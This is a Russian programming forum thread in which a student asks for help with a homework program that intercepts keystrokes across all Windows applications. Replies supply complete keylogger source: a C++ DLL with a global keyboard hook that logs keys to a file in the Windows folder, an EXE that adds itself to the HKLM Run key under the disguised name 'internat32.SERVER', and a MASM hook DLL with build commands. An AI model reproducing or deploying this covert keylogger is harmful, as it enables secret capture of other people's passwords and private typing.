Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Системное программирование и WinAPI > Перехват нажат на клавиатуру во всех Win-приложен


Автор: PrettyGirl 9.5.2006, 13:19
Приветик всем!!! Я сегодня первый раз посетила ваш форум. Мне очень понравилосьsmile задали написать программу которая перехватывает нажатие на клавиши во всех WIN-приложениях(c использованием DLL и HOOK естественно). Встретила у вас на форуме что-то подобное, но пока не смогла разобраться...Помогите пожалуйста!!!
Буду ждать сообщения в асю 215 28 48 28
Заранее спасибо.
 

Автор: Pulse69 10.5.2006, 00:49
Достаточно тривиальная задача.

Вот код DLL (Перехватывает нажатия клавиш и записывает их в файл C:\Windows\KBH.LAB):

Код


// w32_kl_srv.cpp : Defines the entry point for the DLL application.
//

#include <windows.h>
#include <shlobj.h>
#include <stdlib.h>
#include <stdio.h>


LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam);

/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}

/* Переводит код виртуальной клавиши в char */
int VkToChar(UINT vk,LPWORD ret)
{
    char kb[256];
    GetKeyboardState((PBYTE)kb);
    return ToAscii(vk,
        0,
        (PBYTE)kb,
        ret,
        0);
}

/* cсобссно сохраняет в файл */
inline DWORD  WriteToFile(HANDLE hFile,void *data,int len)
{
    DWORD wr;
    WriteFile(hFile,
        data,
        len,
        &wr,
        NULL);
    return wr;
}

HHOOK hhk;
HINSTANCE hInst;
char WindowsFolder[MAX_PATH];

/* Экспортируется ф-ция для установки/снятия хука */
extern "C" __declspec(dllexport) bool SetHook(bool Set);

/* точка входа */
BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
   /* Получаем папку WINDOWS*/
    SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE);
    hInst = (HINSTANCE)hModule;
    return TRUE;
}

/*Ничего сложного*/
bool SetHook(bool Set)
{
    if(Set)
    {
        hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KbdHook,hInst,0);
        if(!hhk)return false;
        return true;
    }
    else
    {
        UnhookWindowsHookEx(hhk);
        return true;
    }
}

/* В эту ф-цию передаются сообщения от хука*/
LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam)
{
    HANDLE hFile;
    
   /*надо выполнить действие*/
    if(code==HC_ACTION)
    { 
       /*30й бит = 1 указывает, что клавишу нажимают, =0 - отпускают*/
        if(BIT30(lParam))
        {
            WORD ret;
            /* если это ANSI-символ...*/
            if(VkToChar(wParam,&ret))
            {
                char cWrite[32];
                char key = ret;
                char bufStr[MAX_PATH];
                /* ... откроем файл и запишем его туда*/
                sprintf(bufStr,"%s\\%s",WindowsFolder,"kbh.lab");
                /* попытка открыть существующий файл*/
                hFile = CreateFile(bufStr,
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_READ,
                    NULL,
                    CREATE_NEW,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
                 //иначе, создаём новый файл
                if(hFile==INVALID_HANDLE_VALUE)
                {
                    hFile = CreateFile(bufStr,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
                    //Х.З.
                    if(hFile==INVALID_HANDLE_VALUE)
                    {
                        return CallNextHookEx(hhk,code,wParam,lParam);
                    }
                }
                SetFilePointer(hFile,NULL,NULL,FILE_END);
                switch(key)
                {
                case 13://ENT
                    strcpy_s(cWrite,32,"\r\n");
                    break;
                case 8://BSP
                    strcpy_s(cWrite,32,"<BSP>");
                    break;
                case 27://ESC
                    strcpy_s(cWrite,32,"<ESC>");
                    break;
                default:
                    cWrite[0] = key;
                    cWrite[1] = 0;
                    break;
                }
                WriteToFile(hFile,cWrite,strlen(cWrite));
                CloseHandle(hFile);
            }
        }
    }
    /* Нужно вызвать следующий хук*/
    return CallNextHookEx(hhk,code,wParam,lParam) ;
}



Код EXE:
Код

#include <WINDOWS.H>

typedef
bool (*SETHOOK)(bool);


int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int)
{
    /*DISABLE MULTIPLE INSTANCES*/
    HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS,FALSE,"NPL.KBH.OneInstance");
    if(!hMutex)
    {
        hMutex = CreateMutex(NULL,TRUE,"NPL.KBH.OneInstance");
    }
    else return 0;
    /*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);
    HINSTANCE hDll;
    hDll = LoadLibrary("w32_kl_srv.dll");
    if(!hDll)return 0;

    MSG msg;
    
    SETHOOK sh;

    sh = (SETHOOK)GetProcAddress(hDll,"SetHook");
    if(sh)
    {
        sh(true);
    }
    while(GetMessage(&msg,0,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    if(sh)sh(false);
    return 0;


Это-простейший клавиатурный шпиён. Надеюсь, всё понятно.
    

Автор: PrettyGirl 11.5.2006, 05:12
Спасибо большое! Мне это очень поможет! 
Правда, тут еще появилось небольшое требование преподавательское:"было бы неплохо ещё и нажатие мыши отследить"....
  

Автор: forker 11.5.2006, 20:17
флажок WH_MOUSE и http://msdn.microsoft.com/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/mouseproc.asp
помогут тебе 

Автор: TeeT 11.5.2006, 21:18
PrettyGirl а что именно тебе не понятно? исходников кинуть - не проблема. и ссылки на другие обсуждения. Может все таки попробуешь уточнить что именно не понятно, и мы с удовольствием тебе поможем  smile  

Автор: Pulse69 12.5.2006, 01:51
TeeT дело говорит. Вообще про хуки очент подробно в MSDN написано.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp.
Для начала там посмотри.
 

Автор: PrettyGirl 13.5.2006, 15:09
У меня почему-то не компилится CSIDL_WINDOWS...
SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE);
    hInst = (HINSTANCE)hModule;
Не подскажете в чем дело?подключаю библиотеку, но....может не ту?
Или что-то с си???
Pulse69, а,м б,проще записать просто в какой-ниб файл не из виндоус? Это можно сделать?Чтобы не получать папкуWindows. Преподаватель сказал,что можно просто на консоль вывести...Я не очень понимаю, как мне исправить...
А то этот клочок: с регистром мне не очень понятен....
/*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);

Если у вас есть идея как это переделать,напишите пож-та код..Мне завтра нужно сдать. 

Автор: GremlinProg 13.5.2006, 17:44
чтобы использовать SHGetSpecialFolderPath нужно подключить хидер shlobj.h и библиотеку shell32.lib. 
Хотя есть вполне безобидный и не требовательный аналог GetWindowsDirectory

Я почитал первый пример, его вполне можно переделать на версию без реестра и без файла, только добавить хук на мышу, свяжись с разработчиком.

Добавлено @ 17:53 
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
тут лежит ссылка на пример использования хуков всех типов, разберись сначала с ним 

Автор: PrettyGirl 13.5.2006, 19:31
а как подключить библиотеку shell32.lib?
/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}
значение 30-го бита откуда берется?
Я просто ни разу с этим не встречалась...
Где и как оно сохраняется?Где-то в Виндоус?
И еще не подскажите хидер для strcpy_s? 

Автор: Pulse69 14.5.2006, 02:10
Код

/*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);


Я же писал, что это - шпион. Мне нужно было, чтобы на моём компе он запускался при загрузке WINDOWS. Этот кусок можно вообще убрать. 

Записывать клавиши можно в любой файл, соответственно нужно убрать код, получающий директорию Winodws. Тогда никакие библиотеки получать не надо. На консоль вывести так просто вряд ли получится, так как хук-функция вызывается в DLL, которая грузится в адресное пространство каждого процесса. Как из DLL выводить на консоль я не очень хорошо себе представляю... Лучше пиши в файл.

Дальше.

Код

/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}

Если ты бы всё-таки прочитала описание в MSDN, то нашла бы там такую информацию:
...

LRESULT CALLBACK KeyboardProc(          int code,
    WPARAM wParam,
    LPARAM lParam // в эту переменную передаются флаги состояния клавиши (32 бита )
);

....

lParam
[in] Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. This parameter can be one or more of the following values. 

....

30
Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
31
Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
....
Тебе в функцию передаётся 32х разрядное значение, содержащее флаги.
Соответственно, 30й бит указывает на то, была ли нажата или отпущена пред тем, как пришло сообщение.
31й бит указывает, нажимают ли сейчас клавишу, или отпускают.
 В принципе можно было использовать и такой код
Код

inline bool BIT31(LPARAM val)
{
    return val&0x80000000;
}

ничего бы не изменилось.

И насчётstrcpy_s:
Я писал это в MSVS 2005, там вместо стандартных ф-ций strcpy, sprintf, strcat, и т.д. рекомендуется использовать более защищённые аналоги strcpy_s, sprintf_s.

Если компилируешь в другой среде, меняй их на стандартные.
strcpy_s( char *toBuf, size_t dstSize, const char *source );
strcpy( char *toBuf, const char *source );
 

Автор: jonie 20.5.2006, 15:48
микро (иначе не назвать) dll-ка для хука (ASM):
Код

.386
.model flat,stdcall
option casemap:none
include    \masm32\include\windows.inc
include    \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include    \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
;======================================================
.const
   WM_KEYBOARDHOOK equ WM_USER+6
;======================================================
.data
 hInstance dd 0
;======================================================
.data?
   hHook dd ?
   hWnd dd ?
;======================================================
.code
  DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
       .if reason==DLL_PROCESS_ATTACH
           push hInst
           pop hInstance
       .endif
       mov  eax,TRUE
       ret
  DllEntry Endp

  KeyboardProc proc nCode:DWORD,wparam:DWORD,lparam:DWORD
       invoke CallNextHookEx,hHook,nCode,wparam,lparam
       invoke PostMessage,hWnd,WM_KEYBOARDHOOK,wparam,lparam
       xor eax,eax
       ret
   KeyboardProc endp


   InstallHook proc hwnd:DWORD
       push hwnd
       pop hWnd
       invoke SetWindowsHookEx,WH_KEYBOARD,addr KeyboardProc,hInstance,NULL
       mov hHook,eax
       ret
   InstallHook endp


   UninstallHook proc
       invoke UnhookWindowsHookEx,hHook
       ret
   UninstallHook endp

End DllEntry

def файо для нее
Код

LIBRARY KeyHook
EXPORTS 
KeyboardProc
InstallHook
UninstallHook

компилить так
Код

masm32\bin\ml /c /coff /Cp Keyhook.asm
masm32\bin\link /section:.bss,S /DLL /DEF:Keyhook.def /SUBSYSTEM:WINDOWS /MERGE:.idata=.texta /MERGE:.data=.texta /MERGE:.rdata=.texta /SECTION:.texta,EWR /IGNORE:4078 Keyhook.obj

ну а в основной программе - грузите dll-ку, вызываете установку хука из нее с параметром HWND окна что будет получать сообщение WM_KEYBOARDHOOK и соответвенно WPARAM и LPARAM.... выделение нужного из них описано выше. 
-----------
DllEntry кста идейно не нужна....) 

Автор: GremlinProg 20.5.2006, 16:27
Гут, только PostMessage нужно дополнительно проверить, вернее завести цикл пока PostMessage не вернет TRUE, либо просто отправить SendMessage. Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет. Еще, при nCode < 0 хук обрабатывать не нужно. Для hWnd нужно проверку на 0 устроить. Нулем оно могет быть только в случае, если окно дочернее, в этом случае оно имеет фокус, т.е. нужно нспользовать GetFocus. Чтобы не было проблем с системными сообщениями, лучше зарегистрировать в системе персональное сообщение для хука функцией RegisterWindowMessage и его отсылать в окно.  В целом - не дурно, главное - ни чего лишнего ). 

Автор: jonie 20.5.2006, 16:45
писалось когда я только начинал писать на asm и даже не знал о С++  ))...года два назад....
Цитата

Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет.
Хорошее замечание.
Цитата

 Для hWnd нужно проверку на 0 устроить.
Не предпологалось что при инсталяции хука может быть HWND инвалидный передан. 

Автор: GremlinProg 20.5.2006, 16:56
Цитата

Не предпологалось что при инсталяции хука может быть HWND инвалидный передан.  

Упс, не заметил hWnd, я не об этом, ладно, не важно. 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)